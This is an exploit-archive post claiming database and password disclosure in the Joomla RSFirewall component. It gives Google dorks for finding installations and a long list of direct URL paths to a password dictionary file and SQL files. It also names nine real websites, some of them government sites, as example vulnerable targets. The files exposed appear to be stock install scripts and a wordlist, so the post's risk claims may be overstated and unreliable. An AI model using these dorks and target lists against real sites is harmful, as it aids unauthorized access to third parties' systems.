facebook facebook twitter rss

Joomla RSFirewall Components 2.11.25 Database and Password Disclosure

Author: KingSkrupellos , Published: 01-02-2019
####################################################################

# Exploit Title : Joomla RSFirewall Components 2.11.25 Database and Password Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 25/01/2019
# Vendor Homepage : rsjoomla.com
# Software Download Link : extensions.joomla.org/extension/rsfirewall/
# Software Information Link : rsjoomla.com/joomla-extensions/joomla-security.html
# Software Price : 50 Euro
# Affected Versions : 2.11.25 and 2.5.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_rsfirewall''
inurl:''/administrator/components/com_rsfirewall/''
intext:Hosted & Designed By Suryanandan.net
intext:Designed by Artilabio
# Vulnerability Type : CWE-200 [ Information Exposure ]
CWE-256 [ Unprotected Storage of Credentials ]

####################################################################

# Description :
***************

* Joomla RSFirewall Components 2.11.25 and 2.50 versions has information exposure

vulnerability that is intentional or unintentional disclosure of information to an actor that is

not explicitly authorized to have access to that information.

* Storing passwords in plaintext may result in a system compromise.

####################################################################

# Unprotected Storage of Credentials Exploit :
***************************************

/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt

# Database Disclosure Exploit :
***************************

/administrator/components/com_rsfirewall/sql/mysql/configuration.data.sql
/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
/administrator/components/com_rsfirewall/sql/mysql/exceptions.sql
/administrator/components/com_rsfirewall/sql/mysql/feeds.data.sql
/administrator/components/com_rsfirewall/sql/mysql/feeds.sql
/administrator/components/com_rsfirewall/sql/mysql/hashes.data.sql
/administrator/components/com_rsfirewall/sql/mysql/hashes.sql
/administrator/components/com_rsfirewall/sql/mysql/ignored.sql
/administrator/components/com_rsfirewall/sql/mysql/lists.sql
/administrator/components/com_rsfirewall/sql/mysql/logs.sql
/administrator/components/com_rsfirewall/sql/mysql/offenders.sql
/administrator/components/com_rsfirewall/sql/mysql/signatures.data.sql
/administrator/components/com_rsfirewall/sql/mysql/signatures.sql
/administrator/components/com_rsfirewall/sql/mysql/snapshots.sql
/administrator/components/com_rsfirewall/sql/mysql/uninstall.sql
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.sql
/administrator/components/com_rsfirewall/sql/sqlazure/exceptions.sql
/administrator/components/com_rsfirewall/sql/sqlazure/feeds.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/feeds.sql
/administrator/components/com_rsfirewall/sql/sqlazure/hashes.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/hashes.sql
/administrator/components/com_rsfirewall/sql/sqlazure/ignored.sql
/administrator/components/com_rsfirewall/sql/sqlazure/lists.sql
/administrator/components/com_rsfirewall/sql/sqlazure/logs.sql
/administrator/components/com_rsfirewall/sql/sqlazure/offenders.sql
/administrator/components/com_rsfirewall/sql/sqlazure/signatures.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/signatures.sql
/administrator/components/com_rsfirewall/sql/sqlazure/snapshots.sql
/administrator/components/com_rsfirewall/sql/sqlazure/uninstall.sql

####################################################################

# Example Vulnerable Sites :
*************************

[+] ippbm.gov.my/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt

[+] sprachkurse-niederlaendisch.de/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt

[+] emserpa.gov.co/sitio/administrator/components/com_rsfirewall/sql/mysql/configuration.sql

[+] tdahmalaga.org/administrator/components/com_rsfirewall/sql/mysql/configuration.sql

[+] holzmanmoss.com/140313_OldSite/administrator/components/com_rsfirewall/sql/mysql/configuration.sql

[+] kvgandhinagarcantt.org.in/administrator/components/com_rsfirewall/sql/mysql/configuration.sql

[+] psipw.org/administrator/components/com_rsfirewall/sql/mysql/configuration.sql

[+] sphereweb.gr/administrator/components/com_rsfirewall/sql/mysql/configuration.sql

[+] galstaffmultiresine.it/administrator/components/com_rsfirewall/sql/mysql/configuration.sql

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################

Like us on Facebook :